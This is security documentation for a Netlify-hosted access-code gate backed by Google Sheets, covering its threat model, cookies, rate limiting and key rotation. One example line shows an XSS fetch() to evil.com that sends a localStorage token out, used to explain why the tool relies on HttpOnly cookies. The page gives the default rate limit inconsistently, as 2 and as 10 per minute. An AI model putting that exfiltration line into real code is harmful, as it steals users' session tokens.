This document explains the security properties of the Google Sheets Access Gate, its limitations, and how to harden your deployment.
An entitlement system, not authentication:
- Users present a code, not an identity
- No passwords, no usernames, no OAuth
- Designed for: betas, demos, internal tools, invite-only access
- Not identity verification - Anyone with the code can use it (until device binding)
- Not password protection - Codes are high-entropy tokens, not memorable passwords
- Not SSO/OAuth - No integration with identity providers
- Not PCI/HIPAA compliant - Don't use for sensitive data without additional controls
- Random internet users - Should not be able to access your app
- Code sharers - Users who might share their code with others
- Script kiddies - Automated attacks, brute forcing
- XSS attackers - Malicious scripts running in your page
- Determined insiders - Someone who exports their browser profile
- Malware on user's device - Can intercept everything
- Your own operational mistakes - Leaking secrets, misconfiguration
| Secret | Location | Browser Access |
|---|---|---|
| Service account key | Netlify env vars | Never |
| ACCESS_PEPPER | Netlify env vars | Never |
| JWT_SECRET | Netlify env vars | Never |
| Access codes | Hashed in sheet | Never (only hash stored) |
| Device IDs | HttpOnly cookie | Not via JavaScript |
| Session tokens | HttpOnly cookie | Not via JavaScript |
Traditional localStorage tokens can be stolen by any script:
// If you used localStorage, an XSS attacker could do:
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));With HttpOnly cookies, this is impossible. The cookie is:
- Sent automatically by the browser
- Not readable by JavaScript
- Not accessible via
document.cookie
Without binding:
User A gets code → shares with User B → both can use it forever
With multi-device binding (default: 3 devices):
User A gets code → uses on laptop → code binds to laptop
User A uses same code on phone → code adds phone (2/3 devices)
User A uses on tablet → code adds tablet (3/3 devices)
User B tries same code → DEVICE_LIMIT_REACHED → denied
Single-device mode (max_devices=1):
User A gets code → uses it → code binds to User A's device
User B tries same code → DEVICE_LIMIT_REACHED → denied
Shared mode (shared=TRUE):
Anyone with code → unlimited devices → all allowed
Limitation: A determined user can still share by:
- Exporting their browser cookies
- Giving remote access to their machine
- Taking a screenshot of the unlocked app
Binding raises the friction, not the impossibility.
Cookie names use a configurable prefix (default: gate, set via COOKIE_PREFIX env var).
| Cookie | Lifetime | Implication |
|---|---|---|
{prefix}_access |
7 days | Revoked codes take up to 7 days to fully expire |
{prefix}_device |
1 year | Device binding persists across sessions |
If you need faster revocation, reduce ACCESS_TTL_SECONDS env var.
All Netlify sites use HTTPS by default. This means:
- Cookies are encrypted in transit
- Man-in-the-middle attacks are prevented
- No passive network sniffing of tokens
Comprehensive security headers are configured in netlify.toml:
| Header | Purpose |
|---|---|
Strict-Transport-Security |
Force HTTPS for 1 year, including subdomains |
Content-Security-Policy |
Restrict script/style/connect sources |
X-Frame-Options: DENY |
Prevent clickjacking |
X-Content-Type-Options: nosniff |
Prevent MIME-type sniffing |
X-XSS-Protection |
Legacy XSS protection for older browsers |
Permissions-Policy |
Disable dangerous browser features |
Referrer-Policy |
Control referrer information |
Built-in rate limiting on /access-verify:
- Default: 2 requests per minute per IP (configurable)
- Returns
429 Too Many RequestswithRetry-Afterheader
Important limitation: Rate limiting is in-memory and best-effort only. Netlify Functions are stateless - cold starts reset the rate limit counters. This provides basic abuse protection but is not a durable security control. For stronger protection, use Netlify Edge Functions or an external rate limiting service.
All secret comparisons use crypto.timingSafeEqual():
- Code hash lookups in Google Sheets
- Device hash verification
- Prevents timing attacks that could leak information
Risk: Attacker guesses access codes.
Mitigations (all implemented):
- High-entropy codes - 16+ character base32 (~80 bits entropy)
- Rate limiting - Built-in: 10 requests/minute per IP (configurable)
- Timing-safe comparison - Prevents timing attacks on hash comparison
- Monitoring - Check Usage sheet for
verify_failevents
Rate limiting configuration:
RATE_LIMIT_WINDOW_MS=60000 # 1 minute window
RATE_LIMIT_MAX_REQUESTS=10 # Max attempts per windowCode entropy math:
- 16 characters base32 = 80 bits
- 2^80 = 1.2 × 10^24 possibilities
- At 10 guesses/minute (rate limited) = 2.3 × 10^18 years to brute force
Risk: Attacker measures response times to learn about secret values.
Mitigations (implemented):
- Timing-safe hash comparison - Uses
crypto.timingSafeEqual()for all hash comparisons - Constant-time operations - Code hash and device hash comparisons take the same time regardless of match position
Risk: Legitimate user shares their code.
Mitigations:
- Device binding - Code only works on limited devices (default: 3)
- Single-device mode - Set
max_devices=1for strict binding - Short expiration - Codes expire, limiting damage window
- Monitoring - Watch for
DEVICE_LIMIT_REACHEDevents (indicates sharing attempt)
Risk: Attacker injects malicious JavaScript into your app.
Mitigations:
- HttpOnly cookies - Tokens can't be read/exfiltrated by JavaScript
- Secure flag - Cookies only sent over HTTPS (production)
- Content Security Policy - Add CSP headers to prevent inline scripts
Remaining risk: XSS can still make requests "as the user" while they're on the page.
Risk: Malicious site tricks user's browser into making requests.
Mitigations (all implemented):
- Origin validation - Server validates
Originheader matches your domain - POST for mutations - GET requests don't modify state
- SameSite policy -
Nonein production (with origin validation),Laxin local dev
Built-in: Origin validation is now built into access-verify and access-log. Configure allowed origins:
# In .env or Netlify environment variables
ALLOWED_ORIGINS=https://your-site.netlify.app,https://your-custom-domain.comIf ALLOWED_ORIGINS is not set, it falls back to Netlify's URL env var (automatically set).
Risk: You accidentally expose your secrets.
Mitigations:
- Never commit secrets -
.envis in.gitignore - Never log secrets - Don't
console.log(process.env.GOOGLE_PRIVATE_KEY) - Never return secrets - Don't include in API responses
- Rotate periodically - Change
ACCESS_PEPPERandJWT_SECRETyearly
If you leak your service account key:
- Immediately revoke it in Google Cloud Console
- Create a new key
- Update Netlify env vars
- Redeploy
Risk: Someone accesses your Google Sheet directly.
Mitigations:
- Share only with service account - No other editors
- Don't share link publicly - Keep sheet URL private
- Codes are hashed - Even if sheet is leaked, codes can't be recovered
This project includes automated tools to prevent secret leakage.
Run security tests to verify no secrets are hardcoded or logged:
npm run test:runThe security.test.js file checks:
- No hardcoded secrets in source files
- No
console.log(process.env.SECRET)patterns - Error responses contain no sensitive data
.env.examplehas only placeholder values.gitignorecovers sensitive files
Scan for accidentally committed secrets:
# Scan all files
npm run check-secrets
# Scan only staged files (for pre-commit)
npm run check-secrets -- --stagedCheck for known vulnerabilities in dependencies:
# Check for vulnerabilities (high severity and above)
npm run audit
# Automatically fix vulnerabilities where possible
npm run audit:fixRun all security checks at once:
npm run securityThis runs:
npm audit- Check for vulnerable dependenciescheck-secrets- Scan for leaked secretstest:run- Run all tests including security tests
Detects:
- Private keys (Google, RSA, AWS)
- Hardcoded passwords
- JWT secrets
- API keys
- Base64-encoded credentials
Run before every commit:
npm run precommitThis runs:
check-secrets --staged- Scan staged files for secretstest:run- Run all tests including security tests
To automate this, add to .git/hooks/pre-commit:
#!/bin/sh
npm run precommitOr use husky for cross-platform hooks.
Enable in your GitHub repository:
- Go to Settings → Code security and analysis
- Enable Secret scanning
- Enable Push protection (blocks commits with detected secrets)
- All env vars set in Netlify (not committed to git)
-
.envin.gitignore - Service account JSON key not in repo
- Sheet shared only with service account email
- Codes are 16+ characters with high entropy
- HTTPS enabled (Netlify default)
- Run
npm run check-secretsbefore first deploy - Security tests pass (
npm run test:run)
- Rate limiting on
/access-verify - Origin validation in functions
- Content Security Policy headers
- Monitoring for
verify_failevents in Usage sheet - Short code expiration (30-90 days typical)
- Review Usage sheet periodically for anomalies
- Enable GitHub secret scanning
- Set up pre-commit hook
- Shorter session TTL (24 hours instead of 7 days)
- IP allowlisting in Netlify
- Periodic re-verification (re-check sheet on access-me)
- Alert on
DEVICE_MISMATCHevents - Two-factor: code + email verification (not implemented)
| Approach | Security Level | Complexity | Use Case |
|---|---|---|---|
| This system | Medium | Low | Betas, demos, internal tools |
| Public URL | None | Lowest | Truly public apps |
| Basic Auth | Low | Low | Quick protection, shared password |
| Netlify Identity | High | Medium | Full user accounts |
| Auth0/Firebase | High | High | Production apps, SSO |
Regular key rotation reduces the impact of potential secret compromise.
| Secret | Rotation Frequency | Impact of Rotation |
|---|---|---|
JWT_SECRET |
Every 90 days | All existing sessions invalidated |
ACCESS_PEPPER |
Yearly (or if compromised) | All codes invalidated, must regenerate |
| Google Service Account Key | Yearly | No user impact |
-
Generate new secret:
node -e "console.log(require('crypto').randomBytes(32).toString('base64'))" -
Update in Netlify:
- Go to Site settings → Environment variables
- Update
JWT_SECRETvalue
-
Redeploy:
netlify deploy --prod
-
Impact: All existing sessions will be invalidated. Users will need to re-enter their access codes.
WARNING: This invalidates ALL existing access codes.
-
Generate new pepper:
node -e "console.log(require('crypto').randomBytes(32).toString('base64'))" -
Update in Netlify environment variables
-
Clear the Access sheet (all
code_hashvalues are now invalid) -
Regenerate all access codes:
node scripts/generate-code.js "User 1" "2025-12-31" node scripts/generate-code.js "User 2" "2025-12-31" # ... repeat for all users
-
Distribute new codes to users
- Go to Google Cloud Console
- Navigate to IAM & Admin → Service Accounts
- Click on your service account
- Go to Keys tab
- Click Add Key → Create new key → JSON
- Download the new key file
- Update Netlify environment variables:
GOOGLE_SERVICE_ACCOUNT_EMAIL(usually unchanged)GOOGLE_PRIVATE_KEY(from new JSON file)
- Delete the old key in Google Cloud Console
- Redeploy
Impact: None for users - seamless transition.
If you suspect a secret has been compromised:
- Immediately rotate the affected secret (see above)
- Check Usage sheet for suspicious activity
- Review Netlify deploy logs for unauthorized access
- Consider rotating ALL secrets if breach scope is unclear
- Notify affected users if their access codes may be compromised
- Immediately revoke the Google service account key
- Immediately change
JWT_SECRET(invalidates all sessions) - Immediately change
ACCESS_PEPPER(invalidates all codes) - Regenerate all access codes
- Notify affected users
- Audit logs for unauthorized access
- Set
revoked=TRUEin the Access sheet for that code - User will be denied on next verification
- Issue a new code to the legitimate user
- Check Usage sheet for suspicious activity
- Codes are hashed, so they can't be directly used
- But attacker could see labels, expiration dates
- Revoke all codes (set
revoked=TRUE) - Create new spreadsheet with fresh codes
- Update
GOOGLE_SPREADSHEET_ID_FROM_URL